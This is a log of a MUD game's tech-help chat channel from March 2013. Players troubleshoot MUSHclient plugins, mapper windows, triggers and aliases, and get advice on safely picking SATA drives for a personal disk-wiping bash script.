T3/r7/2013-03-25.txt.gz:{chan ch=tech}Brainfreezeo Tech: Im having trouble reinstalling a plugin. It stopped working and I tried reinstalling it which didnt work. So I removed it altogether and now when I try to add it again I get this message: [WARNING] C:\Program Files\MUSHclient\worlds\plugins\Bast\bast_spellup.xml
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Brainfreezeo Tech: Line   13: The plugin 'bast_spellup' is already loaded. (Cannot load)
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Brainfreezeo Tech: anyone have any idea what Im doing wrong?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Getsuko Tech: Can you have triggers play a soundfile with a relative path?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Cast Abradix Tech: yup
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Cast Abradix Tech: at least on MUSH
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Getsuko Tech: Awesome :).  Just has to be in the xml as opposed to gui I suppose?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Leinei Tech: bottom-right of the gui
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Getsuko Tech: Leinei I only see a place where I can use the gui to select a file (not just the relative part of the file).
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: is there a reason why my map shows all of aardwolf instead of the area map?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Jhav Tech: Are you on a continent?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: yeah it says continent of mesolar
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Jhav Tech: If so, if you don't like that view, type 'bigmap off'
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: k i figured it out sorry thanks though
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: im just dumb LOL
T3/r7/2013-03-25.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: what format is the aardwolf DB file?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: im still having problems with that map i use mush client and its showing the continent instead of the area map
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: in the miniwindow
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Jhav Tech: And 'bigmap off' didn't work for you?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: no that doesnt work
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: its that mini window that shows u the area map it usually only shows all of aardwolf when you run somewhere if im correct
T3/r7/2013-03-25.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: is there a script that shows the areas of mobs in a room gq?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Doink Tech: prolly not public
T3/r7/2013-03-25.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: there shouldnt be
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Doink Tech: people have mob DBs prolly the most powerful
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Doink Tech: can type, mapper list <room name>, to bring up matchs and their areas
T3/r7/2013-03-25.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: ahh thanks doink :)
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Doink Tech: not as fast as a script, but good in a jam :)
T3/r7/2013-03-25.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: got me a few wins :P
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Doink Tech: alias, mapper list *, to ml, same with, mapper area *
T3/r7/2013-03-25.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: anyone using l33tsell plugin?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: having an issue
T3/r7/2013-03-25.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: winkle sound plugin how do i shut some channel sounds up?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: Anyone around familiar with bash scripting/linux in general? Have a pastebin of something I'm trying to get working, but a little stuck
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Rainydayas Tech: yes
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Rainydayas Tech: post the url i'll take a look 
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: http://pastebin.com/4dYNCSbZ
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: I'm pretty terrible a this kind of stuff.. new area for me
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: problem i had that seems the big one.... The drive actually nukes itself if its run on a system without another drive in it. Near as I can tell, anyway. Trying to run it from a bootable USB
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: I'm rather out of my depth - so a lot of it is stitched together bits of googled info/experimentation.. but given its only purpose is to wipe drives/capture info... I feel confident I won't break anything =p
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Ranrr Tech: You cannot assume /dev/sda is any specific drive. It's just the first one identified.
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: Nod, learned that the hard way after it nuked my drive =p Was just a ubuntu bootable disk, so no loss
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: But not too sure what to do about it. Could logic to check for minimum size.. but don't know how else to limit it to a specific sata drive only
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: Or all sata drives, anyway
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: worst of it nuking itself is it lost the current file it had the info for
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Rainydayas Tech: ok thats pretty intense but ...
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: intense?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Rainydayas Tech: you are always referring to /dev/sda hope thats the one you want
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: It's a pet project, currently. Mostly just to try and learn some linux/scripting stuff.. not like I;ve lost much
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Rainydayas Tech: yes - its hard to read :)
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: Well, ideally it'd wipe all the drives in the system, but not usb devices
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: I'd first thought /dev/sda would be the first sata device in the system.. didn't realize it would mount my usb as sda if there was no physical drive
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Rainydayas Tech: its depends whats mounted as /dev/sda - that could vary between boots - if you boot off usb probably the usb
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: Is there a better way to refer to drives by connection some how?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Rainydayas Tech: 'man mount' might help - there should also be a UUID I would think 'mount' would be best
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Rainydayas Tech: you will get a list of drives mounted and there mount points that way
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Rainydayas Tech: hope thats some help
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: Ah.. problem is otherwise theres no need to mount the drive
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Ranrr Tech: Mount only works in a mounted system.... which it won't be if you boot from usb.
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: Looking more to delete all partitions on a physical device, is really the goal
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Ranrr Tech: You could check dmesg, and then use e.g. size to filter out your usb drive.
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: That being said the info displayed by mount by itself is useful. I've only ever poked it to mount drives 
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Rainydayas Tech: -tech maybe pvscan ? or vgscan
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: pvscan and vgscan both show no volumes.. maybe im not understanding their usage
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: and dmesg seems like quite a bit to sort through
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Bast Tech: parse lsscsi to get drives, it will show the manufactory and where the device is
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Bast Tech: manufacturer
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: installing lsscsi
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: Looks like that might be the ticket. SDA shows up as "ATA" .. will that be universally true of ATA drives as well as sata? Or is that just because ata emulation is set in the bios
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Bast Tech: don't know, haven't really tested it, I just use it for a quick read on what is connected to a system
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: Hmm. I'll have to check that one out. Thanks for the tip on lsscsi. Seems to be pretty easy to parse as well
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: lsscsi -t seems to be what I'm looking for. Shows sata / ata / usb. -t "transport" option
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: sudo lsscsi -t | grep sata: | awk '{print $4}' <-- returns a list of sata devices. Near as I can tell
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: Well, thanks again for all the help =) Think I can work with that for now, just need to figure out what to do with it. Shift starting here in a minute so have to run
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Rainydayas Tech: for disk in `your search` maybe :)
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: nod.. for loop... for each disk, wipe, yeah?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Rainydayas Tech: yes - a loop is better than a big long pipe for this i think - good luck
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: Thanks raintdayas =)
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Martini & Tyebald Tech: I want to right a program witha wink function and a nod function that both do the same thing, just so that I can say, "a wink's as good as a nod" in reference to it.
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Martini & Tyebald Tech: not entirely sure why that belongs on this channel.
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Rainydayas Tech: write an emote function : emote ("wink"), emote("nod") :)
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Fatal FrostBite Tech: any Lua-savvy techies on?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Fatal FrostBite Tech: Anyone familiar with coding miniwins?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Slyzora Tech: is it possible to use compression in bbssh ?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: can anyone help me my area map mini window is stuck on the map of the continent and it wont show me the map of the area im in
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Did you try scrolling down in that window?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: uhmm you cant scroll in it
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Ayasinda Tech: or quit and restart mush
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Turie Tech: Press ctrl+shift+p and look for Mapper, and click reload
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: its been stuck on the bigmap for a few days
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: ive logged in multiple times
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Nuanse Tech: and map and look does nothing?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Hanslanda Tech: are your tags on?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: i just reloaded it it was the wrong miniwindow
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: the miniwindow with the directions is good its the other miniwindow i coulda swore it showed me the rooms i had discovered
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: and i could put my mouse over it and it would show me the name of the room
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Hanslanda Tech: you mean the mapper window
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: yes thats right sorry i dont know what its called
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Turie Tech: I knew what he/she was talking about.
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Turie Tech: Bigmap is only on Mapper.
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Nuanse Tech: well..bigmap...might be its own plugin ;)
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: yeah like it worked before and i could see the names of the rooms but now its only all of aardwolf
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Nuanse Tech: just remove bigmap, it's useless.
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Nuanse Tech: real mapper might be under it
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: even when i type bigmap off it still shows the whole aardwolf
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: i looked under it isnt ther
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Nuanse Tech: bigmap is game command
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Nuanse Tech: ctrl-shift-p -> bigmap -> disable
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: that still didnt work :(
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Nuanse Tech: actually bigmap off is plugin command also. so long since I removed it :)
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: this has seriously been bugging me i want my area map back it helped a lot :(
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Nuanse Tech: try to reload mapper plugin
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Nuanse Tech: if you didnt already
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: yeah i reinstalled mapper but its the wrong miniwindow
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Hanslanda Tech: make sure you didn't reinstall the wrong plugin
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Hanslanda Tech: doesn't mush come with two mappers?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: ok i got it OMG THANK YOU
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Turie Tech: Nope.
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Nuanse Tech: bigmap and mapper :P
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: it was the 2nd mapper plugin
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: thank you so much
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Turie Tech: There is Bigmap Graphical and GMCP Mapper
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Mattk Tech: yeah it was GMCP
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Turie Tech: Sorry, Ascii Mapper and GMCP Mapper
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Turie Tech: Ascii Mapper is the little map and GMCP Mapper is the map with Area Maps.
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Nuanse Tech: and bigmap handles continents
T3/r7/2013-03-25.txt.gz:{chan ch=tech}BobTheGreat Tech: Does anyone know the command Winkle's extender plugin sends on connect? I'm asking this because some odd things show up, such as an area called "Lua Land" which is unlisted in 'areas'
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Hanslanda Tech: area 0 0
T3/r7/2013-03-25.txt.gz:{chan ch=tech}BobTheGreat Tech: Hmm... Area 0 0 doesn't do exactly that, but just 'area 0' does. Thanks!
T3/r7/2013-03-25.txt.gz:{chan ch=tech}BobTheGreat Tech: Heh.. some very odd areas in there :P
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Hanslanda Tech: all the manor areas, as well as placeholders like Midgaard and behind-the-scenes containers (ie, lua land).
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Topolova Tech: anyone using tintin with the aardwolf script? keeps sending '$repchan' to the MUD undefined. didn't do this initially.
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Topolova Tech: anyone using tintin with the aardwolf script? keeps sending '$repchan' to the MUD undefined. didn't do this initially.
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Topolova Tech: blah, sorry. if I hit enter, it re-sends the last command.
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: Anyone have any suggestions on how to fill a google spreadsheet from the command line? Either through creating a form, or directly entering in the information
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: in a bash script, rather.
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: https://developers.google.com/google-apps/spreadsheets/
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Closest I can find
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: only has java/.net examples unfortunately
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: Most sensical thing I can find personally, is using the forms, and using something to post to it via http... but... all the examples i see for that are php/java/python as well
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Well, you could pass it with curl
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: isn't curl part of python?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: there's a unix/linux curl
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: Ah. My mistake
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Tech: Oladon groans loudly.
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: http://linux.about.com/od/commands/l/blcmdl1_curl.htm
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Tech: Daloran peers intently at Oladon.
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Oladon Tech: There's not "a" unix curl. curl is a GNU utility, and there's "a" curl lib for Python.
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Semantics :P
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I knew what I meant :P
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: point being - its something I can use from a bash script. =p
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Oladon Tech: Yes.
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Daloran Tech: which is really the part I care about. Though the distinction is not lost on me, either.
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: what command is it to change a channels color?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: colorset
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ty
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: help colorset
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: no problem :D
T3/r7/2013-03-25.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: how do i access the wildcard in my alias if ive got it set to "Send to Script"?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: does anybody own a tesla car?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I'm thinking about buying one, but on the fence about the range
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Ferun Tech: which model?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: S..
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Ferun Tech: its not all that differnt than most cars... how many miles do you get on a tank of gas?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Fatal FrostBite Tech: Any miniwin experts on?
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto points, indicating Bast.
T3/r7/2013-03-25.txt.gz:{chan ch=tech}Fatal FrostBite Tech: good call remarto... must not have tech on =P
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Vale Tech: how can i delete a file that is "waiting to be burned to disc"
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Vale Tech: deleting it it just reappears instantly
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Vale Tech: remove temporary files says i need admin access...i'm on an admin account
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Vale Tech: and then fails when i say yes
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Naiba Tech: can anyone help me with the syntax to use a wildcard match in a Trigger? eg. This (.+) is evil. How do i access the wildcard match and do maybe... consider "wildcard"
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: %1
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i think (.*?) is the greedy version
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Naiba Tech: oh snap! yea! forgot that one! thanks!. whats the difference in (.+) and that?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: id have to look, but i just use (.*?) :P
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Naiba Tech: is there a comment syntax that can be used in mushclient alias's? like -- for lua.. // for others
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Leinei Tech: Not unless you send to script
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Leinei Tech: then it just depends on what scripting language you're using
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Naiba Tech: okay cool thank you
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lua i beleive its --
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Naiba Tech: okay one last question. is there a way to catch a sentence with a trigger and remove it from being echo'ed or seen?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Naiba Tech: eg. Clouds start to form in the sky. can i catch it and make it not appear?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: using mush?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Naiba Tech: yes
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: put it in a trigger line
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Leinei Tech: match it with a trigger, check the "omit from output" tickbox
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Naiba Tech: wow that was easy :D LOL
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Naiba Tech: thanks so much guys
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: now down the side
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: tick the omit from output box
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Pharsifal Tech: please, in other mud-client i use one varieble simply with ar-name... but in mushclient?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Pharsifal Tech: ATvar-name... but in mushclient?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: same
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: @varname
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: click the "expand variables" checkbox
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Pharsifal Tech: i have made... glass=carafe and drink ATglass
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Pharsifal Tech: ah pardon i go to see
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Pharsifal Tech: thank you, so work perfecly
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Pharsifal Tech: perfectly
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: btw, you can send a @ by typing @@
T3/r7/2013-03-26.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: test
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: fail
T3/r7/2013-03-26.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: whats the command touse planes script?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: to use*
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: plookup
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: which script?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: bast
T3/r7/2013-03-26.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: im useless in lua etc, if i wanted to alias it to pl what do i do?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: bast's page on the script tells you the commands, always
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: aliasing has nothing to do with lua
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: game -> configure -> aliases, new, pl *, plookup %1, send to execute
T3/r7/2013-03-26.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: well all that i know is how to cp fast
T3/r7/2013-03-26.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: ahh so thats what i did wrong
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Bast Tech: the planesmobs plugin is broken in the latest version, it will be fixed in the next release.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: thanks sir :)
T3/r7/2013-03-26.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: i dont have a problem tho bast
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: then you're probably not at the latest version ;-)
T3/r7/2013-03-26.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: Aardwolf_Planes_Mobs v1874 phelp Planes Mobs
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Bast Tech: ok, it is broken for some people then, if you aren't having problems then yours isn't broken
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Scars Tech: a novel concept 
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Scars Tech: a novel concept ;)
T3/r7/2013-03-26.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: hmm
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Scars Tech: one of these days i'll get used to having to ;
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Scars Tech: one of these days i'll get used to having to ;; the ;
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[**NOPK**] Vegan Tech: i really want to draw a nic cage meme in ascii for statements like that
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: heh, nopk
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[**NOPK**] Vegan Tech: i dont pk >.>
T3/r7/2013-03-26.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: why does my speakers make a slight noise?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: pc speakers
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Dfury Tech: intereference probably
T3/r7/2013-03-26.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: nope cant be been doing this for a while
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Ferun Tech: did you listen to something that might have distorted the speakers? blown them?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Dfury Tech: whenever you have an unshielded closed loop close to a source of changing magnetic field, it generates electricity, which is then magnified and reproduced by the speakers as possible hum or clicking
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: as speakers get old or mistreated, either the speaker itself, the wire it is connected to, or the socket (usually on the mobo) the wire is then plugged into gets damaged or loose.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: could be damages but it looks fine
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Loose you can fix - pull it all apart, clean and reseat. Damaged and you are SOL, need to buy new ones. Looks fine means jack
T3/r7/2013-03-26.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: and no they still work
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Ferun Tech: usually if theres a hum or a stattic you distorted the speakers once before and possibly cracked the bell. 
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: for computer speakers a frayed cable is far more likely, unless they are internals
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Thunderax Tech: if you have chaos portals which are not golden, is there a way of temporary disabling them in mush so they aren't used by mapper during GQs?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Thunderax Tech: apart from removing them and re-adding them after that is
T3/r7/2013-03-26.txt.gz:{chan ch=tech}ElFeneri Tech: I would like to no the answer to that question too
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Ferun Tech: you could create a really big alias.?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}ElFeneri Tech: would be useful if the non-golden cps were set to level 999 or something when GQ started.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: You'd still be unable to use them.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Switch the fail message, that's all that would accomplish...
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I believe he means set to 999 in the mapper, not the mud
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger nods at Captain HR Vakieh.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Thunderax Tech: guess a level setting alias is the best way then, thanks :)
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: OK, but what would the practical difference be? Does the mapper actually not bother to try the CPs then?
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger nods at [Deputy] Trurien.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: That is useful.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: in which case it would indeed work. I don't believe there is a way to do that natively, but it is simple enough to jack into the sql, use a prefix on the alias such as nongolden, etc and batch update
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I just left my cp's out of the mapper.
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The mapper will not attempt to use a portal if you are not at the appropriate level + tier*10
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Otherwise you would be trying to use all your portals at level 1
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: wouldn't need to do it in the SQL, could do it with a mapper alias
T3/r7/2013-03-26.txt.gz:{chan ch=tech}Tech: update a variable with the portal ID of nongolden CPs, and have the mapper alias recurse through the list
